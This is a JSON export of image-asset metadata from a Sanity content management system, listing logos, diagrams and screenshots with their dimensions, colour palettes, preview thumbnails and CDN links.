{"_createdAt":"2023-05-17T15:03:24Z","_id":"image-e35ea5d0574b6aa82ce39a089aa6c12dd248618a-602x241-png","_rev":"THDGXgbtbTWNUZ8wy0DxeJ","_type":"sanity.imageAsset","_updatedAt":"2023-05-17T15:03:24Z","assetId":"e35ea5d0574b6aa82ce39a089aa6c12dd248618a","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D009jvfQfQfQfQfQfQfQfQfQ","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.4979253112033195,"height":241,"width":602},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAYAAAD5nd/tAAAACXBIWXMAABcSAAAXEgFnn9JSAAAA+ElEQVQokX3S2UpDQRAE0JO4gSuucdeISlwxrrg+5AcEH1X0//9CKnQeAupAc+cyVdXVNcPwmkELk5jCYu2bGMc8ljBd5y3MoeGX1SiBXazjFDfYrkY76OIeV9hCG8v/CUboDPu4xQsOixyxI1yiVw3P66z5l+AmLspNB8+4K6G4OqiGvRLrFnZIcAyjGKl82pVNyE+4LhediiCuHwu3h5XipqLVD32hsshhRJNZvht1EWkY3FplmoazhQkn3OQfXl81pFzGMU4qtziIs9UiprJPLMFmggE+TiM4MRg7GeQpBPiAV7zjC9/4rMp/6gNvNX4uME8nI/sBtGwR34j9MXkAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#040404","foreground":"#fff","population":99.92,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#424242","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#040404","foreground":"#fff","population":99.92,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4c4c4c","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4c4c4c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f7f7f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"logo isai.png","path":"images/sczeoy4w/production/e35ea5d0574b6aa82ce39a089aa6c12dd248618a-602x241.png","sha1hash":"e35ea5d0574b6aa82ce39a089aa6c12dd248618a","size":13545,"uploadId":"pdEfAQ19UBp3NMKPJh60LDOnr9DCgh7q","url":"https://cdn.sanity.io/images/sczeoy4w/production/e35ea5d0574b6aa82ce39a089aa6c12dd248618a-602x241.png"} {"_createdAt":"2022-06-30T11:51:35Z","_id":"image-e3b9dbb6158e3d4f0dc769840b6d41e2e669845b-750x179-png","_rev":"CK1sLU2mnwa3vmbYWEbKUt","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:17:26Z","assetId":"e3b9dbb6158e3d4f0dc769840b6d41e2e669845b","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D055FA?HRjW=Wq?b%MbHxuxu","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":4.189944134078212,"height":179,"width":750},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAFCAIAAADKYVtkAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAxklEQVQYlS2Na27DMAyDc4qkBTrZjt6S7bi9/+GGdKO+HxQoUJuqCXOFUkqppcIPAMBZK2NjbLXAPQDPx3M/bj2+Oo5j3/ct3dNdmN0sPYRJVTIiTJXZVcPdRAnxrJUQzczV8Dzh9dp6xMjuZqP3zzV7eM9ca80xwiwj5hjXGGvOdA/3tdbn/Z69E+KmzCbCROF+9Uy/X80xe++mKswq4mrpriJCZN/GdGekrQLclEKIQkR40nkbJsLW2jdt5eb/Ekot5W/9BWeRKzLMnp2rAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#554234","foreground":"#fff","population":0.09,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#59381f","foreground":"#fff","population":0.09,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#59381f","foreground":"#fff","population":0.09,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bab6ba","foreground":"#000","population":0.08,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d9b69f","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9c7050","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#845434","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"e3b9dbb6158e3d4f0dc769840b6d41e2e669845b-750x179.png","path":"images/sczeoy4w/production/e3b9dbb6158e3d4f0dc769840b6d41e2e669845b-750x179.png","sha1hash":"e3b9dbb6158e3d4f0dc769840b6d41e2e669845b","size":12883,"uploadId":"74FKCzRvkOzGw8951OEIAjw4eu7FBRaz","url":"https://cdn.sanity.io/images/sczeoy4w/production/e3b9dbb6158e3d4f0dc769840b6d41e2e669845b-750x179.png"} {"_createdAt":"2024-02-20T13:49:03Z","_id":"image-e3d06efd3503cba49104cbcd4901d852083c6e8a-1200x628-png","_rev":"AhQsd13Ciq0lSu1FlZAe1J","_type":"sanity.imageAsset","_updatedAt":"2024-02-20T13:49:03Z","assetId":"e3d06efd3503cba49104cbcd4901d852083c6e8a","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M38XPB_5i=M+03-ntTxURj4p05rl%jNgnI","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAAAsTAAALEwEAmpwYAAACVUlEQVQokR3S207aAACA4T7Bls2oTEQQCrSl0NYCpbQFaoEeGIUqB6PTOJnOibotUsWAGgy4gOKJ6ZQFnZhdbPEhd3iA/+r7gWfDUy9eZdzetdxcc3Glo2aaDs/nQfPakGXDYN0yQQc27NxBdiHfHUL10MB3lO7B/jtw4taKXQHPh6cNlllO0Aurl8VP3excG/WWDNaiwbo5ApbMSM1JXqP0IxbsBcNNSazwkRIRqEHeCxt+BQyO5kHXEi+WZ+Zb80vn6VzLH6rAE9sIuQuTVcRbJ7hbP/9IMfWUvLrzrljQZoJU1kWWQfwSGLMveJlNXizHk/ty6lBON+LJRjTxRUg0I3KLiZ5wUi8i3bF0MSmo5eXl99MaRTCw5y2ItwE7WgjHdCm1J6kHolpLaEdq9ljNnSazZ4nMhTL1Vck8SukHNrgemIgok6JAs4iTBJEFG9YGQHQpFNUldU9Q9gT5QFTritZUpo5l7UTSTv/HfUH9SbFHBJ4nPBE3wsCIaveUrVgHsECLXFSPv65y0XIoVgnH98NiTUw1Za3NKy1aOPHzN2SkT4TuGeFsMlbl+F0qdIxSNzb8GjBa34RielSpBPltZnKXoHXUp/NyIzF9FuCPHPghSJw6fV0302elX6L2O5Z+YuUnjH0AiW/AoCmPkqseXxHCPqDej6B73Qyt43SFEeou374Jqo7B9XF32050ULqLsfcY13czPyBfF8Sv/zkPGHMDxvxL4+zQ2OKQuTBsWTHaN8zQ1qijNALuGO3VUWfNBDfMrqYFbY97zq1Yx4Zf/Z3kD4aduXS4K1/YAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2d3669","foreground":"#fff","population":1.14,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#141e6c","foreground":"#fff","population":6.03,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#c7c9e4","foreground":"#000","population":8.98,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c7c9e4","foreground":"#000","population":8.98,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#83a7f5","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9f6d62","foreground":"#fff","population":0.18,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0c3ca4","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"FinalLiliQuote1.png","path":"images/sczeoy4w/production/e3d06efd3503cba49104cbcd4901d852083c6e8a-1200x628.png","sha1hash":"e3d06efd3503cba49104cbcd4901d852083c6e8a","size":117969,"uploadId":"dRxjBJ5gRTNk1mokGDGsazMClqdl70Md","url":"https://cdn.sanity.io/images/sczeoy4w/production/e3d06efd3503cba49104cbcd4901d852083c6e8a-1200x628.png"} {"_createdAt":"2024-05-20T07:14:54Z","_id":"image-e3ec574a2d2b9677fe77c15a5a418d951f984d3b-2626x1882-jpg","_rev":"5dKvdU2b7V4fiIIxYxKq41","_type":"sanity.imageAsset","_updatedAt":"2024-05-20T07:14:54Z","assetId":"e3ec574a2d2b9677fe77c15a5a418d951f984d3b","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"V4SZ2:xtD*~pM|6m9H%0IV%10}xsM|ocah%$Ips,M|t6","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.3953241232731137,"height":1882,"width":2626},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAOABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAMCBQj/xAAhEAACAwABAwUAAAAAAAAAAAABAgADEQQFEjEzQVFxkf/EABUBAQEAAAAAAAAAAAAAAAAAAAEC/8QAGREBAAIDAAAAAAAAAAAAAAAAAAERAhIh/9oADAMBAAIRAxEAPwDTS04zEOw0+xjVq0eo/wCxorz4k1UZ4jYqC1UAZ3sfswlTyuuUcbkWUtS7FDmjIS9MpHH/2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#605f60","foreground":"#fff","population":0.04,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#343c81","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#acc4cc","foreground":"#000","population":0.13,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#acc4cc","foreground":"#000","population":0.13,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a0a8f3","foreground":"#000","population":0.06,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#69689c","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#4951c6","foreground":"#fff","population":0.02,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"aiven-console-change-service-plan.jpg","path":"images/sczeoy4w/production/e3ec574a2d2b9677fe77c15a5a418d951f984d3b-2626x1882.jpg","sha1hash":"e3ec574a2d2b9677fe77c15a5a418d951f984d3b","size":346842,"uploadId":"g5xXqYDbno92xZKKRfFJth6f22lz9Y1j","url":"https://cdn.sanity.io/images/sczeoy4w/production/e3ec574a2d2b9677fe77c15a5a418d951f984d3b-2626x1882.jpg"} {"_createdAt":"2022-06-16T22:53:46Z","_id":"image-e3ff773f36b2edb9ac7034b87cfea165fba6bf74-127x52-svg","_rev":"oamrAPLmQLQjd9jh7ZoFFm","_type":"sanity.imageAsset","_updatedAt":"2022-06-16T22:53:46Z","assetId":"e3ff773f36b2edb9ac7034b87cfea165fba6bf74","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MD1Gwsl#l5Z,Zle;bte;f*e:Y=lOgKa3a3","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.4423076923076925,"height":52,"width":127},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAYAAAD5nd/tAAAACXBIWXMAAAsTAAALEwEAmpwYAAABXUlEQVQokV2SzYvOURiGf2PEXNMUimlqxkeMuX+axJBYEEnJNyVkWPha2VlhYSsrycd7vbLgz7BRtspOLP0remaOepvFdc5znnOeu/Pc53SYLZjdmNOYx5jPmO+YV5WfHKZbwb7DdHyseKGbGqabqPXwP6v7NSxjnmI+Yb5h/mB+Y95hFhmkzoytYTS3rjE2OexXBB9gnmBeYMR8wbzE3Mf0mCnMDGZHYw4zi9k+ktvZ8tMleApzEXMIcxRzArMfcxJzBLMPcxZzHXMJc7nFxTXMOcwFzJXaL8EDmPOY45glzEHMsVZcvh5uIjdacYncxdzEXG3cwdzDPCzBuv4tzGvM2za/bxbULRYx841qa1ezYi9mT+uqOjxT3ZXgNszz9hB/MT8xXzFvMLebP+sx4yMPUHGxAbO1+TiN2VSCmzHPML8wPzAfMI+aBXPYb8T51S+zlsHCyLrvJgZ99w+E8aMLZ3VbNgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#364e2d","foreground":"#fff","population":0.26,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#048409","foreground":"#fff","population":0.09,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#364e2d","foreground":"#fff","population":0.26,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#059323","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7ff998","foreground":"#000","population":0,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#44794e","foreground":"#fff","population":0.14,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#07ac29","foreground":"#fff","population":0.17,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"ovo-energy-logo.svg","path":"images/sczeoy4w/production/e3ff773f36b2edb9ac7034b87cfea165fba6bf74-127x52.svg","sha1hash":"e3ff773f36b2edb9ac7034b87cfea165fba6bf74","size":4827,"uploadId":"zqQxSAYdr9cJ8E4MdzTKXEANGrYqzVED","url":"https://cdn.sanity.io/images/sczeoy4w/production/e3ff773f36b2edb9ac7034b87cfea165fba6bf74-127x52.svg"} {"_createdAt":"2022-09-14T10:31:33Z","_id":"image-e4c049ef21617fc2ae89608678967417b8e1c1eb-512x512-png","_rev":"STwkGY00NBjXpkjjM1eCkK","_type":"sanity.imageAsset","_updatedAt":"2022-09-14T10:31:33Z","assetId":"e4c049ef21617fc2ae89608678967417b8e1c1eb","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eEL2errCA9=x1Otm0PJUk;V[00k?1~E#w3zA.6#+{eXS2_M{;9v}}S","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":512,"width":512},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,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","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#375152","foreground":"#fff","population":0.03,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#58130b","foreground":"#fff","population":0.42,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fa9a0e","foreground":"#000","population":7.34,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#92b4cf","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f93e43","foreground":"#fff","population":3.13,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#748b83","foreground":"#fff","population":0.06,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fa9a0e","foreground":"#000","population":7.34,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"carb-claw-handshake.png","path":"images/sczeoy4w/production/e4c049ef21617fc2ae89608678967417b8e1c1eb-512x512.png","sha1hash":"e4c049ef21617fc2ae89608678967417b8e1c1eb","size":35624,"uploadId":"TNC2vFMOSYBbE5ynXWPsVW17GnVpQS2w","url":"https://cdn.sanity.io/images/sczeoy4w/production/e4c049ef21617fc2ae89608678967417b8e1c1eb-512x512.png"} {"_createdAt":"2023-03-14T17:26:28Z","_id":"image-e4c347d7d73fc717e27b279aa21ef4571c02dfb5-1742x872-png","_rev":"6WM1dqL6UhcEkNXkNwcLsu","_type":"sanity.imageAsset","_updatedAt":"2023-03-14T17:27:16Z","altText":null,"assetId":"e4c347d7d73fc717e27b279aa21ef4571c02dfb5","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9977064220183487,"height":872,"width":1742},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAAAsTAAALEwEAmpwYAAABGUlEQVQokY2R3U7DMAyF+/4PiTppE1NZ6sS/aZxmkFRABRfwXVjysY4t29PzRGvNtvK2phXZa22ti+6OiACAiI9OMLM2atNPc94gYkIupbSBu8cYl2W53+/zPF8uF0Tc9721Nu0n3N3MkJCYcs5evNbq7iKSUgKAEEKMUVWLu9c68SfSUVVNCEigqkxd3wZmRtRzFQWA5fEIkKZ1Xfseg5TQ1IiJhcwMYgxhFdGcs5mN7oIJb9fby2W+vi6TiBwtsUdRVkpsmkspo8Rm+YyKxhhXgETcd64Dd8/bxsgYYhYrxUsptdbzUQ6+tO9rt9aKOyWMS1CS4dzPv/jN2fystTJyWAIldvfjz/8yH8O3bcNEKrrvf4z9ML8DmPxFMiPpYnUAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3b3b3b","foreground":"#fff","population":0.56,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#72126c","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#b8b8b9","foreground":"#000","population":1.9,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b8b8b9","foreground":"#000","population":1.9,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcecfb","foreground":"#000","population":0.08,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#96636e","foreground":"#fff","population":0.05,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dc22d0","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"kafka-ordering-single-producer-correct-ordering.png","path":"images/sczeoy4w/production/e4c347d7d73fc717e27b279aa21ef4571c02dfb5-1742x872.png","sha1hash":"e4c347d7d73fc717e27b279aa21ef4571c02dfb5","size":92204,"title":null,"uploadId":"qNHYxzCqNduAtMKww7LGm3S9sQsdFOjt","url":"https://cdn.sanity.io/images/sczeoy4w/production/e4c347d7d73fc717e27b279aa21ef4571c02dfb5-1742x872.png"} {"_createdAt":"2022-06-30T20:10:27Z","_id":"image-e52fc7c25ba89e7c6ff77ca038501e0ab3b21b66-937x379-png","_rev":"sI1gFaRN7B5HWmjllABWvF","_type":"sanity.imageAsset","_updatedAt":"2022-09-26T16:06:56Z","assetId":"e52fc7c25ba89e7c6ff77ca038501e0ab3b21b66","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D6RypY00?]_4=#Rj0000_3xu","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.4722955145118735,"height":379,"width":937},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAIAAAB2/0i6AAAACXBIWXMAAA7DAAAOwwHHb6hkAAABP0lEQVQYlWXQ2W6EIBSAYd//ydqbNjNjxiUqqFEGAVkEEXFpBpve9EvODcmfnENUlmUSZFlWVRUAoCxLCCGldF3X4599332weR/VdV0GAAAIYVEUSZLkeY4xdnY5tv0vusp1Xe1i59nMRkdN01wxhLCqqjRN4zhO06xvu6ljy0s4Y621Rr8ZY7TRclJCcMHYOy4CAECWZY/H436/Z3negXb4AuN3PRE+8hEh1HXdMGAhhVByfL+xSAjBGKNB27ZFUUAIMcYCU3qD7AbnUSmlUN+3bUsIMcY455Yw0RZ4751znHOMMR9HY4x6EfQRo8+npmKaJhRIKZ1zx3Gc53kcR3QG12dYa7XW7wuNGbq+uT37Z6EYV1IihAgh8zx776/4PM/f+LLv+7WItZZRSsggONfTpKTEGDPGlmXZtu0v/gFOR75j8p4JtgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#7c3c44","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b62578","foreground":"#fff","population":0.23,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#b62578","foreground":"#fff","population":0.23,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#acd2cc","foreground":"#000","population":0.02,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc74c4","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7c7c7c","foreground":"#fff","population":0.14,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ea519c","foreground":"#fff","population":0.06,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"e52fc7c25ba89e7c6ff77ca038501e0ab3b21b66-937x379.png","path":"images/sczeoy4w/production/e52fc7c25ba89e7c6ff77ca038501e0ab3b21b66-937x379.png","sha1hash":"e52fc7c25ba89e7c6ff77ca038501e0ab3b21b66","size":139669,"uploadId":"2OcCS7j9t8hhYy5EyI8qsac6TC5TIqTa","url":"https://cdn.sanity.io/images/sczeoy4w/production/e52fc7c25ba89e7c6ff77ca038501e0ab3b21b66-937x379.png"} {"_createdAt":"2022-11-17T13:39:03Z","_id":"image-e533407ba6e2a3aa588fb802f515cd6227c3c51e-1999x1199-png","_rev":"bUMlF7B1Xxw34pzcKjg1ja","_type":"sanity.imageAsset","_updatedAt":"2022-11-17T13:39:03Z","assetId":"e533407ba6e2a3aa588fb802f515cd6227c3c51e","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.6672226855713095,"height":1199,"width":1999},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAYAAABiDJ37AAAACXBIWXMAAAsTAAALEwEAmpwYAAABMUlEQVQokZWS60oEMQyF5/3fzL8KooiwCq4w7Gqnl/SW9kg6W3Zkq66Fw9Ck+XKm6aT27zjOM4wx8D4ghIicM0opQzEzYozw3oOIYIxttda6FpvUfMTyqUHkEcIKlKJa61AdKpLGeSOJTepDw2ihJ6S0JqToElSRs8DGjepJk14crBF3CcyXoK6YCqzLIBInvwCdCyCKiHF11pck2xdo7igwlE4wNiO3xudzdQsUmPxuB466cqnwkWGJESK3/TmP70CBjYC9u9ypDMo5gjUEcv70EtbBybrKYTtYKlJKcIvGsnuDun+GftnDadPi/wLWzTNJlkCPO9ibO/inV2RHP17P9BewOWBG0RZ8UCjaocpQBgO5eihNp4lfgPo+RBSlx8B+L32NGmzPiOMyH5FvH/AFd1SwUO/biF8AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#545458","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c41a45","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f81c59","foreground":"#fff","population":0.08,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d9bdc0","foreground":"#000","population":0.02,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc7494","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a26c74","foreground":"#fff","population":0.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f81c59","foreground":"#fff","population":0.08,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"image5.png","path":"images/sczeoy4w/production/e533407ba6e2a3aa588fb802f515cd6227c3c51e-1999x1199.png","sha1hash":"e533407ba6e2a3aa588fb802f515cd6227c3c51e","size":168467,"uploadId":"dhrIHit0nKM8Kkt5WERYLxK4T6Rg5ND8","url":"https://cdn.sanity.io/images/sczeoy4w/production/e533407ba6e2a3aa588fb802f515cd6227c3c51e-1999x1199.png"} 